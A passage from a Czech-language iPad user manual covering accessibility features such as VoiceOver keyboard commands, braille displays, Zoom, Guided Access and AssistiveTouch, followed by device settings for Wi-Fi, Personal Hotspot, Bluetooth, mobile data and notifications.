špendlíku nebo jej vyberte přejetím doleva nebo doprava. Načtení informací o místě:  Vyberte špendlík a poklepáním zobrazte informační praporek. Přejetím doleva nebo doprava vyberte tlačítko Více informací a poklepáním zobrazte stránku s informacemi. Úpravy videí pomocí VoiceOveru Gesta VoiceOver můžete použít ke zkracování videí z Fotoaparátu. Oříznutí videa:  Při prohlížení videa zobrazte poklepáním na obrazovku ovládací prvky videa. Vyberte začátek nebo konec ořezového nástroje. Poté chcete-li táhnout doprava, švihněte nahoru, chcete-li táhnout doleva, švihněte dolů. VoiceOver oznámí, jak velká část záznamu bude na aktuální pozici oříznuta. Chcete-li provést ořez, vyberte Oříznout a poklepejte.Kapitola 26 Zpřístupnění 109 Ovládání funkce VoiceOver z bezdrátové klávesnice Apple VoiceOver můžete ovládat pomocí klávesnice Apple Wireless Keyboard spárované s iPadem. Viz Zařízení Bluetooth na stránce 33. Pomocí klávesových příkazů pro VoiceOver se můžete pohybovat po obrazovce, vybírat položky, číst obsah obrazovky, nastavovat rotor a provádět další akce funkce VoiceOver. Všechny klávesové příkazy (s výjimkou jednoho) obsahují zkratku Ctrl-Alt, která je v tabulce níže nahrazená zkratkou „VO“. Při psaní čte nápověda pro VoiceOver jednotlivé klávesy nebo klávesové příkazy. Nápověda pro VoiceOver vám pomůže naučit se rozložení klávesnice a akce přiřazené k jednotlivým kombinacím kláves. Klávesové příkazy VoiceOver VO = Ctrl–Alt • Přečtení veškerého textu od aktuálního místa:  VO–A • Přečíst odshora:  VO–B • Přesun na stavový řádek:  VO–M • Stisknutí tlačítka plochy:  VO–H • Výběr následující nebo předchozí položky:  VO–šipka vpravo nebo VO–šipka vlevo • Klepnutí na položku:  VO–mezerník • Poklepání dvěma prsty:  VO–”-” • Výběr následující nebo předchozí položky rotoru:  VO–šipka nahoru nebo VO–šipka dolů • Výběr následující nebo předchozí položky rotoru čtení:  VO–Cmd–šipka vlevo nebo VO–Cmd– šipka vpravo • Nastavení rotoru čtení:  VO–Cmd–šipka nahoru nebo VO–Cmd–šipka dolů • Vypnutí nebo zapnutí zvuku VoiceOveru:  VO–S • Zapnutí a vypnutí clony obrazovky:  VO–Shift-S • Zapnutí nápovědy pro VoiceOver:  VO–K • Návrat na předchozí obrazovku nebo vypnutí nápovědy pro VoiceOver:  Esc Rychlá navigace Zapnutí Rychlé navigace umožňuje ovládat VoiceOver pomocí kurzorových kláves. • Zapnutí nebo vypnutí Rychlé navigace:  šipka doleva–šipka doprava • Výběr následující nebo předchozí položky:  šipka vpravo nebo šipka vlevo • Výběr následující nebo předchozí položky podle nastavení rotoru:  šipka nahoru nebo šipka dolů • Výběr první nebo poslední položky:  Ctrl–šipka nahoru nebo Ctrl–šipka dolů • „Klepnutí“ na položku:  šipka nahoru–šipka dolů • Posun nahoru, dolů, doleva nebo doprava:  Alt–šipka nahoru, Alt–šipka dolů, Alt–šipka doleva nebo Alt–šipka doprava • Změna rotoru:  šipka nahoru–šipka doleva nebo šipka nahoru–šipka dopravaKapitola 26 Zpřístupnění 110 Rychlá jednoznaková navigace pro web Pokud si prohlížíte webovou stránku s povolenou rychlou navigací, můžete se po stránce rychle pohybovat pomocí následujících kláves. Stisknutím klávesy přejdete k následující položce uvedeného typu. Chcete-li přejít k předchozí položce, podržte při zadávání písmene klávesu Shift. • Záhlaví:  H • Odkaz:  L • Textové pole:  R • Tlačítko:  B • Ovládací prvek formuláře:  C • Obrázek:  I • Tabulka:  T • Statický text:  S • Orientační bod ARIA:  W • Seznam:  X • Položka stejného typu:  M • Nadpis úrovně 1:  1 • Nadpis úrovně 2:  2 • Nadpis úrovně 3:  3 • Nadpis úrovně 4:  4 • Nadpis úrovně 5:  5 • Nadpis úrovně 6:  6 Použití braillského řádku s funkcí VoiceOver Ke čtení výstupu funkce VoiceOver v braillském písmu můžete použít obnovitelný braillský řádek se vstupními klávesami a dalšími ovládacími prvky, kterými můžete iPad při zapnuté funkci VoiceOver ovládat. iPad spolupracuje s mnoha bezdrátovými braillskými řádky. Seznam podporovaných braillských řádků naleznete na webových stránkách www.apple.com/accessibility/iphone/braille-display.html. Nastavení braillského řádku:  Zapněte řádek a poté vyberte Nastavení > Obecné > Bluetooth a zapněte Bluetooth. Poté použijte volby Nastavení > Obecné > Zpřístupnění > VoiceOver > Braillovo písmo a vyberte řádek. Zapnutí nebo vypnutí zkratkopisu nebo osmibodového Braillova písma:  Otevřete Nastavení > Obecné > Zpřístupnění > VoiceOver > Braillovo písmo. Informace o obecných příkazech braillského řádku pro navigaci VoiceOver a informace specifické pro určité braillské řádky naleznete na adrese support.apple.com/kb/HT4400?viewlocale=cs_CZ. Braillský řádek používá jazyk nastavený pro Hlasové ovládání. Standardně jde o jazyk iPadu vybraný v Nastavení > Národní volby > Jazyk. Nastavení jazyka funkce VoiceOver můžete použít k nastavení různých jazyků pro VoiceOver a braillské řádky. Nastavení jazyka pro VoiceOver:  Otevřete Nastavení > Obecné > Národní volby > Hlasové ovládání a poté vyberte jazyk. Pokud změníte jazyk iPadu, je možné, že bude třeba obnovit nastavení jazyka pro VoiceOver a braillský řádek.Kapitola 26 Zpřístupnění 111 Levou a pravou krajní buňku braillského řádku můžete nastavit na poskytování údajů o stavu systému a dalších informací: • Historie oznámení obsahuje nečtenou zprávu • Aktuální zpráva Historie oznámení nebyla přečtena • Je vypnutý zvuk čtení VoiceOver • V baterii iPadu dochází energie (zbývá méně než 20 %) • iPad je orientován na šířku • Obrazovka je vypnutá • Na aktuálním řádku je další text vlevo • Na aktuálním řádku je další text vpravo Nastavení zobrazování stavových informací v levé a pravé krajní buňce braillského řádku:  Vyberte Nastavení > Obecné > Zpřístupnění > VoiceOver > Braillovo písmo > Stavová buňka a poté klepněte na Vlevo nebo Vpravo. Zobrazení rozšířeného popisu stavové buňky:  Stiskněte tlačítko směrování stavové buňky na braillském řádku. Siri Díky osobní asistentce Siri pro vás iPad udělá, oč jej požádáte, například otevře aplikaci. Odpovědi Siri vám může přečíst VoiceOver. Informace najdete v tématu Co je Siri? na stránce 36. Trojí stisknutí tlačítka plochy Trojí stisknutí tlačítka plochy vám umožňuje zapnout nebo vypnout některé funkce Zpřístupnění tak, že stisknete tlačítko plochy třikrát rychle za sebou. Trojí stisknutí tlačítka plochy můžete používat s těmito funkcemi: • VoiceOver • Inverze barev • Zvětšení • AssistiveTouch • Asistovaný přístup (Trojí stisknutí tlačítka plochy spustí Asistovaný přístup v případě, že je již zapnutý. Viz Asistovaný přístup na stránce 113). Nastavení funkce trojího stisknutí tlačítka plochy:  Otevřete Nastavení > Obecné > Zpřístupnění > Trojí stisknutí tlačítka plochy. Pokud vyberete více než jednu funkci, iPod touch se vás při každém trojím stisknutí tlačítka plochy zeptá, kterou funkci chcete použít. Zpomalení rychlosti opakovaného stisknutí tlačítka:  Otevřete Nastavení > Obecné > Zpřístupnění > Stisknutí tlačítka. Zvětšení V mnohých aplikacích je možné zvětšit nebo zmenšit některé položky. Například můžete poklepáním nebo rozevřením prstů zvětšit sloupce webové stránky v Safari. Máte však také k dispozici Zvětšení, funkci zpřístupnění, která vám umožňuje zvětšit celou obrazovku kterékoli aplikace, již používáte. A navíc můžete Zvětšení používat společně s funkcí VoiceOver.Kapitola 26 Zpřístupnění 112 Zapnutí nebo vypnutí zvětšení:  Otevřete Nastavení > Obecné > Zpřístupnění > Zvětšení. Také můžete použít trojí stisknutí tlačítka plochy. Viz Trojí stisknutí tlačítka plochy na stránce 111. Zvětšení nebo zmenšení:  Poklepejte na obrazovku třemi prsty. Úprava zvětšení:  Poklepejte a táhněte nahoru nebo dolů třemi prsty. Gesto klepnutí a tažení je podobné gestu poklepání. Jen místo zvednutí prstů a druhého klepnutí táhnete prsty po obrazovce. Jakmile tažení zahájíte, můžete v něm pokračovat jedním prstem. iPad se k nastavenému zvětšení vrátí poté, co zobrazení zmenšíte a znovu zvětšíte dvojím klepnutím třemi prsty. Posouvání obrazovky:  Při aktivním zvětšení táhněte třemi prsty na obrazovce. Jakmile začnete táhnout, můžete táhnout jedním prstem a vidět tak větší část obrazovky. Přidržením jednoho prstu poblíž okraje obrazovky přesunete zobrazení ve vybraném směru. Přesunutím prstu blíže ke kraji zrychlíte přesun. Když otevřete novou obrazovku, Zvětšení vybere střed horního okraje obrazovky. Používáte-li zvětšení na bezdrátové klávesnici Apple, sleduje obrazovka kurzor, který se neustále nachází v jejím středu. Viz Bezdrátová klávesnice Apple na stránce 26. Velký text Velký text umožňuje zvětšit text ve výstrahách a aplikacích Kalendář, Kontakty, Mail, Zprávy a Poznámky. Nastavení velikosti textu  Otevřete Nastavení > Obecné > Zpřístupnění > Velký text. Inverzní barvy Inverzní barvy na obrazovce iPadu vám někdy mohou usnadnit čtení. Pokud je funkce Invertovat barvy zapnuta, obrazovka připomíná fotografický negativ. Inverzní zobrazení barev:  Otevřete Nastavení > Obecné > Zpřístupnění > Invertovat barvy. Předčítání výběru I když je funkce VoiceOver vypnutá, může iPad přečíst nahlas libovolný text, který lze vybrat. Zapnutí funkce Přečíst výběr:  Otevřete Nastavení > Obecné > Zpřístupnění > Přečíst výběr. Můžete též: • Upravit rychlost předčítání • Nastavit zvýrazňování právě čtených slov Poslech čteného textu:  Vyberte text a klepněte na Číst. Předčítání auto korektur Funkce předčítání autokorektur čte opravy textu a doporučení pro dokončení slov, která iPad generuje při psaní. Zapnutí nebo vypnutí čtení autokorektur:  Otevřete Nastavení > Obecné > Zpřístupnění > Číst autokorektury. Čtení automatického textu spolupracuje s funkcemi VoiceOver a Přiblížení.Kapitola 26 Zpřístupnění 113 Mono audio Mono audio spojí signál levého a pravého kanálu do mono signálu pouštěného do obou kanálů. To umožní uživatelům, kteří mají poškozený sluch v jednom uchu, slyšet úplný zvukový signál v druhém uchu. Zapnutí nebo vypnutí monofonního zvuku a úprava vyvážení:  Otevřete Nastavení > Obecné > Zpřístupnění > Mono audio. Přiřazení tónů Různým osobám ve svém seznamu kontaktů můžete přiřadit odlišná vyzvánění a dosáhnout tak zvukové identifikace volajícího v aplikaci FaceTime. Pomocí různých tónů můžete také odlišit celou řadu dalších událostí, jako je například nová zpráva na záznamníku, nový e-mail, odeslaný e-mail, tweet, příspěvek na Facebooku nebo připomínky. Viz Zvuky na stránce 125. Vyzvánění si můžete koupit v obchodě iTunes Store přímo z iPadu. Viz Kapitola 20, iTunes Store, na stránce 88. Asistovaný přístup Asistovaný přístup může uživatelům iPadu napomoci při soustředění na provádění konkrétních úloh. Asistovaný přístup omezuje možnosti používání iPadu na jednu aplikaci a poskytuje vám kontrolu nad výběrem použitelných funkcí. Asistovaný přístup můžete použít pro: • Dočasné omezení používání iPadu na jedinou aplikaci • Deaktivování částí obrazovky, které nejsou vzhledem k dané úloze relevantní nebo oblastí, na kterých by nechtěné gesto mohlo způsobit opuštění úlohy • Vypnutí hardwarových tlačítek iPadu Použití Asistovaného přístupu:  Otevřete Nastavení > Obecné > Zpřístupnění > Asistovaný přístup, kde můžete: • Asistovaný přístup zapnout nebo vypnout • Nastavit kód Asistovaného přístupu, který uživatelům zabrání v opuštění aktivní relace • Nastavit možnost přechodu do režimu spánku během relace Spuštění relace Asistovaného přístupu:  Otevřete aplikaci, kterou chcete provozovat, a poté třikrát stiskněte tlačítko plochy. Upravte nastavení relace a klepněte na Spustit. • Deaktivování ovládacích prvků aplikace a oblastí na obrazovce aplikace:  Zakroužkujte na obrazovce oblasti, které chcete deaktivovat. Velikost oblastí můžete upravit pomocí úchytů. • Ignorování dotyků na obrazovce:  Vypněte funkci Dotyk. • Zabránění iPadu v přepínání mezi režimem na šířku a na výšku a v reakcích na jiný pohyb:  Vypněte funkci Pohyb. Ukončení relace Asistovaného přístupu:  Třikrát stiskněte tlačítko plochy a zadejte kód Asistovaného přístupu.Kapitola 26 Zpřístupnění 114 AssistiveTouch Funkce AssistiveTouch vám pomůže s používáním iPadu v případě, že vám činí potíže dotýkat se obrazovky nebo tisknout tlačítka. K ovládání iPadu můžete použít také kompatibilní adaptivní příslušenství (například joystick) v kombinaci s funkcí AssistiveTouch. Funkci AssistiveTouch můžete používat i bez příslušenství a provádět pomocí ní gesta, která jsou pro vás obtížná. Zapnutí funkce AssistiveTouch:  Otevřete Nastavení > Obecné > Zpřístupnění > AssistiveTouch. Chcete-li nastavit zapínání a vypínání funkce AssistiveTouch trojím stisknutím klávesy plochy, vyberte Nastavení > Obecné > Zpřístupnění > Trojí stisknutí tlačítka plochy. Úprava rychlosti sledování dotyku (při připojeném příslušenství):  Otevřete Nastavení > Obecné > Zpřístupnění > AssistiveTouch > Rychlost sledování. Zobrazení nebo skrytí nabídky AssistiveTouch:  Klikněte sekundárním tlačítkem na svém příslušenství. Skrytí tlačítka nabídky (při připojeném příslušenství):  Otevřete Nastavení > Obecné > Zpřístupnění > AssistiveTouch > Vždy zobrazovat nabídku. Náhrada přejetí nebo tažení 2, 3, 4 nebo 5 prsty:  Klepněte na tlačítko nabídky, klepněte na Gesta a poté klepněte na počet prstů odpovídající požadovanému gestu. Když se na obrazovce objeví příslušný počet kroužků, švihněte nebo táhněte směrem, který odpovídá požadovanému gestu. Po skončení klepněte na tlačítko nabídky. Náhrada sevření prstů:  Klepněte na tlačítko nabídky, klepněte na Oblíbené a potom na Sevřít. Když se zobrazí kroužky gesta sevření, přesuňte je dotykem na libovolné místo na obrazovce a poté tažením kroužků k sobě nebo od sebe proveďte gesto sevření. Po skončení klepněte na tlačítko nabídky. Vytvoření vlastního gesta:  Klepněte na tlačítko nabídky, klepněte na Oblíbené a potom na prázdnou maketu gesta. Také můžete vybrat Nastavení > Obecné > Zpřístupnění > AssistiveTouch > Vytvořit nové gesto. Zamknutí nebo otočení obrazovky, úprava hlasitosti iPadu nebo simulace zatřesení iPadem:  Klepněte na tlačítko nabídky a poté na Zařízení. Simulace stisknutí tlačítka plochy:  Klepněte na tlačítko nabídky a poté na Plocha. Přesunutí tlačítka nabídky:  Přetáhněte tlačítko na libovolné místo na obrazovce. Opuštění nabídky bez provedení gesta:  Klepněte kamkoli mimo nabídku. Zpřístupnění v systému OS X Při synchronizaci informací a obsahu knihovny iTunes do iPadu prostřednictvím iTunes můžete využívat funkce zpřístupnění v systému OS X. Ve Finderu vyberte volbu Nápověda > Centrum nápovědy a poté vyhledejte „zpřístupnění“. Další informace o iPadu a funkcích zpřístupnění v systému OS X naleznete na webových stránkách www.apple.com/accessibility.Kapitola 26 Zpřístupnění 115 Nejmenší velikost písma v poštovních zprávách Pro zlepšení čitelnosti můžete nastavit nejmenší velikosti písma zpráv v aplikaci Mail na Velké, Zvlášť velké nebo Obrovské. Nastavení nejmenší velikosti písma v poštovních zprávách:  Otevřete Nastavení > Pošta, kontakty, kalendáře > Nejmenší písmo. Při zapnutí funkce Velký text je tato nejmenší velikost písma potlačena. Klávesnice na šířku obrazovky Všechny aplikace, které jsou v iPadu předinstalovány, po otočení iPadu na šířku zobrazí na obrazovce větší klávesnici. Můžete též psát pomocí bezdrátové klávesnice Apple. Skryté titulky Zapnutí skrytých titulků u videa:  Otevřete Nastavení > Videa > Skryté titulky. Skryté titulky jsou k dispozici jen u některých videí.27 116 Nastavení vám umožňuje nakonfigurovat iPad, vybrat volby pro aplikace, přidávat účty a měnit další předvolby. Informace o nastavení předinstalovaných aplikací najdete v příslušných kapitolách. Nastavení aplikace Safari je například popsáno v kapitole Kapitola 5, Safari, na stránce 43. Letový režim V letovém režimu jsou deaktivovány bezdrátové funkce, aby se omezila možnost rušení provozu letadel nebo jiných elektronických zařízení. Zapnutí letového režimu:  Přejděte do Nastavení a zapněte letový režim. V letovém režimu se ve stavovém řádku na horním okraji obrazovky objeví ikona . iPad. nebude vysílat žádné signály přes Wi-Fi, Bluetooth nebo mobilní datovou síť (modely Wi-Fi + cellular). Nebudete moci používat aplikace ani funkce, které na těchto signálech závisejí (například připojení k Internetu). Pokud je to povoleno provozovatelem letadla a příslušnými zákony a směrnicemi, můžete na zařízení iPad používat aplikace, které tyto signály nevyžadují. Je-li k dispozici Wi-Fi a dovoluje-li to provozovatel letadla a příslušné zákony a předpisy, můžete Wi-Fi zapnout výběrem Nastavení > Wi-Fi. Bluetooth můžete zapnout v Nastavení > Bluetooth. Wi-Fi Připojení k Wi-Fi síti Nastavení Wi-Fi určuje, zda bude iPad používat místní Wi-Fi sítě pro připojení k Internetu. Je-li iPad připojen k Wi-Fi síti, ikona Wi-Fi  ve stavovém řádku na horním okraji obrazovky ukazuje sílu signálu. Více dílků značí silnější signál. Poté, co se jednou připojíte k určité Wi-Fi síti, začne se k ní iPad připojovat automaticky vždy, když je tato síť v dosahu. Je-li v dosahu více dříve použitých sítí, iPad se připojí k té, kterou jste používali naposledy. iPad můžete využít také k nastavení nové základny AirPort, která bude poskytovat Wi-Fi služby ve vaší domácnosti nebo kanceláři. Viz Nastavení základny AirPort na stránce 117. Vypnutí nebo zapnutí Wi-Fi:  Otevřete Nastavení > Wi-Fi. Máte tyto možnosti: • Aktivace zobrazení dotazu zařízení iPad, zda si přejete připojit se k nové síti: Zapněte nebo vypněte volbu „Výzva pro připojení“. Je-li volba „Výzva pro připojení“ vypnutá a není-li k dispozici síť, kterou jste již použili, musíte se k síti poskytující internetové připojení připojit ručně. • Zapomenutí sítě, aby se k ní iPad nepřipojoval: Klepněte na u sítě, k níž jste se dříve připojili. Poté klepněte na „Ignorovat tuto síť“. NastaveníKapitola 27 Nastavení 117 • Připojení k uzavřené Wi-Fi síti: V seznamu názvů sítí klepněte na Jiná a poté zadejte název uzavřené sítě. Pokud se chcete připojit k uzavřené síti, musíte pro připojení znát název sítě, heslo a typ zabezpečení. • Úprava nastavení pro připojení k Wi-Fi síti: Klepněte na u sítě. Můžete nastavit HTTP proxy, definovat statické nastavení sítě, aktivovat BootP nebo obnovit nastavení poskytnuté serverem DHCP. Nastavení základny AirPort Základna AirPort vám poskytne Wi-Fi připojení v domácí, školní nebo malé podnikové síti. Pomocí zařízení iPad můžete nastavit novou základnu AirPort Express, AirPort Extreme nebo Time Capsule. Použití Asistenta nastavení AirPortu:  Otevřete Nastavení > Wi-Fi. V části „Nastavit novou základnu AirPort“ klepněte na název základny, kterou chcete nastavit. Poté postupujte podle pokynů na obrazovce. Není-li základna, kterou chcete nastavit, v seznamu uvedena, zkontrolujte, zda je zapnutá, zda jste v jejím dosahu a zda už nebyla nakonfigurována. Nastavit můžete pouze nové základny nebo základny, které byly resetovány. Některé starší základny AirPort nelze nastavit pomocí zařízení iOS. Pokyny pro nastavení najdete v dokumentaci, kterou jste obdrželi spolu se základnou. Správa sítě AirPort: Pokud je iPad připojen k základně AirPort, klepněte na vedle názvu sítě. Pokud jste ještě nestáhli aplikaci Nastavení AirPortu, otevře se App Store, kde ji můžete získat. VPN Vaše organizace může VPN sít využívat pro zabezpečenou výměnu informací přes veřejnou síť. VPN může být nutné nastavit například tehdy, potřebujete-li získat přístup ke svému pracovnímu e-mailu. Toto nastavení se objeví, je-li v zařízení iPad nastavena síť VPN, a umožňuje vám nastavenou síť VPN zapnout nebo vypnout. Viz VPN na stránce 121. Osobní hotspot Prostřednictvím Osobního hotspotu (modely Wi-Fi + cellular) můžete sdílet internetové připojení s počítačem nebo jiným zařízením, například s iPodem touch či iPhonem, připojeným k vašemu zařízení iPad přes Wi-Fi. Pomocí Osobního hotspotu můžete sdílet internetové připojení také s počítačem, který je k zařízení iPad připojen přes Bluetooth nebo USB. Osobní hotspot pracuje pouze tehdy, je-li iPad připojen k Internetu přes mobilní datovou síť. Poznámka:  Tato funkce nemusí být k dispozici ve všech oblastech. Tato služba může být zpoplatněna. Požádejte vašeho operátora o další informace. Sdílení připojení k Internetu:  Vyberte Nastavení > Obecné > Mobilní data a pokud se zobrazí volba Nastavit osobní hotspot, klepněte na ni a nastavte službu u svého operátora. Po zapnutí Osobního hotspotu se mohou další zařízení připojovat následujícími způsoby: • Wi-Fi:  Na zařízení vyberte svůj iPad ze seznamu dostupných Wi-Fi sítí. • USB:  Připojte iPad k počítači přiloženým kabelem. V předvolbách Síť v počítači vyberte iPad a nastavte konfiguraci sítě. • Bluetooth:  Na zařízení iPad vyberte Nastavení > Bluetooth a zapněte Bluetooth. Spárujte a propojte iPad se zařízením podle pokynů uvedených v dokumentaci počítače. Po připojení zařízení se na horním okraji obrazovky zařízení iPad zobrazí modrý proužek. Osobní hotspot zůstane při připojení přes USB zapnutý i v případě, že právě Internet aktivně nevyužíváte.Kapitola 27 Nastavení 118 Poznámka:  Ve stavovém řádku zařízení iOS využívajících Osobní hotspot se zobrazuje ikona Osobní hotspot . Změna hesla k Wi-Fi pro iPad: Vyberte Nastavení > Osobní hotspot > Heslo Wi-Fi a zadejte nejméně osmiznakové heslo. Sledování využití mobilní datové sítě: Vyberte Nastavení > Obecné > Využití > Využití mobilní sítě. Bluetooth iPad se může bezdrátově připojovat k zařízením Bluetooth, jako jsou náhlavní soupravy, sluchátka a automobilové sady pro poslech hudby a telefonování s volnýma rukama. Přes Bluetooth můžete též připojit bezdrátovou klávesnici Apple. Viz Bezdrátová klávesnice Apple na stránce 26. Zapnutí nebo vypnutí rozhraní Bluetooth:  Otevřete Nastavení > Bluetooth. Připojení k zařízení Bluetooth: Klepněte na některé zařízení v seznamu Zařízení a připojte je podle pokynů na obrazovce. Informace o párování zařízení Bluetooth najdete v dokumentaci dodávané se zařízením. Mobilní data V nastavení Mobilní data na zařízení iPad (modely Wi-Fi + cellular) lze aktivovat mobilní datové služby, zapnout či vypnout používání mobilní sítě a nastavit osobní identifikační číslo (PIN) pro uzamčení SIM karty. U některých operátorů také můžete změnit svůj datový tarif. Zapnutí nebo vypnutí mobilních dat: Vyberte Nastavení > Mobilní data. Jsou-li mobilní data vypnuta, budou všechny datové služby, včetně e-mailu, procházení webu, přenosu oznámení a dalších služeb, používat pouze Wi-Fi. Jsou-li mobilní data zapnuta, mohou se na ně vztahovat poplatky u operátora. Například používání některých funkcí a služeb (jako je přenos zpráv) může být zaplaceno z vašeho datového tarifu. Zapnutí nebo vypnutí LTE: Vyberte Nastavení > Mobilní data. Pokud je LTE k dispozici, zapnutím této funkce zrychlíte načítání dat. Zapnutí nebo vypnutí datového roamingu (CDMA): Vyberte Nastavení > Mobilní data. Vypnutím datového roamingu předejdete tomu, aby vám operátor naúčtoval poplatky za použití sítě poskytované jiným operátorem. Nastavení Osobního hotspotu: Otevřete Nastavení > Mobilní data > Nastavit osobní hotspot. Osobní hotspot sdílí připojení iPadu k Internetu s vaším počítačem a dalšími iOS zařízeními. Viz Osobní hotspot na stránce 117. Nastavení služeb, pro které jsou využívána mobilní data: Otevřete Nastavení > Mobilní data a zapněte mobilní datové služby pro Dokumenty na iCloudu, iTunes, FaceTime nebo Seznam četby. Pokud jsou tato nastavení vypnuta, iPad používá pouze Wi-Fi. Volba iTunes obsahuje iTunes Match i automatická stahování z obchodů iTunes a App Store Aktivace, zobrazení nebo změna mobilního datového účtu:  Vyberte Nastavení > Mobilní data a klepněte na Zobrazit účet. Postupujte podle pokynů na obrazovce. Uzamčení SIM karty: Vyberte Nastavení > Mobilní data > PIN SIM karty. Při uzamčené SIM kartě je pro mobilní datové připojení iPadu požadován kód PIN.Kapitola 27 Nastavení 119 Funkce Nerušit a Oznámení V Oznamovacím centru se zobrazují doručená oznámení, která vás upozorňují na nové informace, i když není příslušná aplikace spuštěna. Způsob oznámení závisí na aplikaci, může to být například textová zpráva, zvuková výstraha nebo odznak na ikoně aplikace na ploše. Vypnutí všech oznámení: Přejděte do Nastavení a zapněte funkci Nerušit. Je-li tato volba zapnuta a iPad je uzamčen, bude zvuk všech oznámení vypnutý s výjimkou budíků, které budou zvonit i tomto režimu. V Nastavení > Oznámení > Nerušit můžete nastavit následující Volby: • Automatické zapínání funkce Nerušit: Nastavte časové rozmezí, ve kterém nechcete být rušeni. iPad bude v zadaném čase každý den automaticky aktivovat funkci Nerušit. • Povolení některých volání FaceTime v čase, kdy je funkce Nerušit aktivní: Je-li aktivována funkce Nerušit, je vypnutý také zvuk volání FaceTime. Chcete-li některým volajícím umožnit, aby se vám i v této době dovolali, klepněte na Povolená volání. Můžete povolit volání ze své skupiny Oblíbené nebo z jakékoli jiné skupiny, kterou vytvoříte. Informace o skupině Oblíbené viz Kapitola 14, Kontakty, na stránce 71. • Povolení volání vytrvalým volajícím: Zapněte Opakovaná volání. Pokud vám některý volající (identifikovaný pomocí ID volajícího) zavolá dvakrát během tří minut, iPad zazvoní. Zapnutí nebo vypnutí oznamování z aplikací:  Otevřete Nastavení > Oznámení. Klepněte na položku v seznamu a poté zapněte nebo vypněte oznámení pro tuto položku. Aplikace s vypnutými oznámeními jsou uvedeny v seznamu „V Oznamovacím centru nejsou“. Změna vzhledu oznámení: Otevřete Nastavení > Oznámení. Máte tyto možnosti: • Změna počtu oznámení: Otevřete položku v seznamu Oznamovacího centra. Chcete-li určit, kolik oznámení daného typu se má v Oznamovacím centru zobrazit, klepněte na Zobrazit. • Změna stylů upozornění: Otevřete položku v seznamu Oznamovacího centra. Otevřete styl upozornění. Chcete-li upozornění a bannery vypnout, vyberte volbu Žádné. Oznámení se budou dále zobrazovat v Oznamovacím centru. • Změna pořadí oznámení: Klepněte na Upravit. Přetáhněte oznámení do požadovaného pořadí. Chcete-li oznámení vypnout, přetáhněte je do seznamu V Oznamovacím centru nejsou. • Zobrazení odznaků s čísly na aplikacích s oznámeními: Vyberte položku ze seznamu „V Oznamovacím centru jsou“ a zapněte volbu Odznak na aplikaci. • Skrytí upozornění z aplikací, pokud je iPad uzamčený: Otevřete požadovanou aplikaci ze seznamu Oznamovací centrum a poté vypněte volbu Na zamčené obrazovce. Některé aplikace mají i další volby. U aplikace Zprávy lze například určit, kolikrát se bude opakovat zvuk upozornění a zda budou do oznámení zahrnuty náhledy zpráv. Odstranění voleb Příspěvek a Tweet z Oznamovacího centra: Tyto volby sdílení se zobrazují pouze v případě, že máte nastaveny účty na Facebooku a Twitteru. Chcete-li tato tlačítka odstranit, otevřete Nastavení > Oznámení a vypněte volbu Widget sdílení.Kapitola 27 Nastavení 120 Obecné Obecná nastavení zahrnují síť, sdílení, zabezpečení a další nastavení. Najdete zde také informace o svém zařízení iPad a můžete zde resetovat různé parametry. Informace Zobrazení informací o zařízení iPad: Otevřete Nastavení > Obecné > Informace. Můžete si prohlédnout následující informace: • Dostupné úložiště • Sériové číslo • Verzi iOS • Síťovou adresu • Číslo mobilních dat (na modelech Wi-Fi + cellular) • IMEI (International Mobile Equipment Identity) na modelech Wi-Fi + cellular • ICCID (Integrated Circuit Card Identifier neboli Smart Card) pro GSM sítě (na modelech Wi-Fi + cellular) • MEID (Mobile Equipment Identifier) pro CDMA sítě (na modelech Wi-Fi + cellular) • Právní a licenční informace a značky použitých norem Chcete-li sériové číslo nebo jiné identifikátory zkopírovat, podržte prst na vybraném identifikátoru, dokud se nezobrazí tlačítko Kopírovat. Změna názvu zařízení:  Otevřete Nastavení > Obecné > Informace a poté klepněte na Název. Název zařízení se zobrazuje na bočním panelu, když je zařízení připojeno k iTunes, a využívá jej i iCloud. iPad automaticky odesílá diagnostická data a informace o využití, které společnosti Apple pomáhají při zlepšování jejích produktů. Tato data neumožňují vaši osobní identifikaci, mohou však obsahovat polohu vašeho zařízení. Zobrazení nebo vypnutí diagnostických dat: Otevřete Nastavení > Obecné > Informace > Diagnostika a využití. Aktualizace softwaru Utilita Aktualizace softwaru vám umožňuje stahovat a instalovat aktualizace systému iOS od společnosti Apple. Aktualizace na nejnovější verzi iOS:  Otevřete Nastavení > Obecné > Aktualizace softwaru. Pokud je dostupná novější verze systému iOS, stáhněte ji a nainstalujte podle pokynů na obrazovce. Využití Zobrazení informací o využití:  Otevřete Nastavení > Obecné > Využití. Máte tyto možnosti: • Zobrazení využití mobilní sítě a vynulování statistik (na modelech Wi-Fi + cellular) • Zobrazení a smazání záloh na iCloudu, vypnutí zálohování alba Fotoaparát a přikoupení úložného místa • Zobrazení úložného prostoru jednotlivých aplikací • Zobrazení úrovně nabití baterie v procentech • Zobrazení času, který uplynul od nabití zařízení iPadKapitola 27 Nastavení 121 Siri Aktivace služby Siri:  Otevřete Nastavení > Obecné > Siri. Informace o použití a změnách nastavení služby Siri viz Nastavení voleb pro Siri na stránce 39. VPN Sítě VPN použité v rámci organizace vám umožňují zabezpečenou výměnu informací přes veřejnou síť. Síť VPN může být nutné nastavit například tehdy, potřebujete-li získat přístup ke svému pracovnímu e-mailu. O nastavení potřebná pro nakonfigurování VPN sítě požádejte správce sítě. Po nakonfigurování nastavení VPN můžete provést následující akce: • Zapnutí nebo vypnutí VPN: Otevřete Nastavení > VPN. • Přepnutí mezi VPN sítěmi: Otevřete Nastavení >Obecné > VPN a vyberte konfiguraci. Synchronizace iTunes přes Wi-Fi iPad můžete synchronizovat s iTunes v počítači, který je připojen ke stejné Wi-Fi síti. Povolení synchronizace iTunes přes Wi-Fi:  Chcete-li provést prvotní nastavení synchronizace Wi-Fi, připojte iPad k počítači, s nímž jej budete synchronizovat. Postup najdete v oddílu Synchronizace s iTunes na stránce 16. iPad bude po nastavení synchronizace přes Wi-Fi automaticky provádět synchronizaci přes Wi-Fi, pokud budou splněny následující podmínky: • iPad bude připojen ke zdroji napájení, • iPad a počítač budou připojeny ke stejné Wi-Fi síti a • v počítači budou spuštěny iTunes. Hledání ve Spotlight Nastavení hledání ve Spotlight vám umožní určit oblasti prohledávané funkcí Hledání a změnit pořadí výsledků. Nastavení oblastí obsahu, které má prohledávat funkce Hledání:  Otevřete Nastavení > Obecné > Hledání ve Spotlight a poté vyberte položky, které chcete prohledávat. Můžete také změnit pořadí kategorií výsledků. Uzamčení Při uzamčení zařízení iPad se vypne displej, aby se šetřila kapacita baterie a nedocházelo k nechtěnému spouštění akcí na zařízení iPad. I nadále je možné přijímat 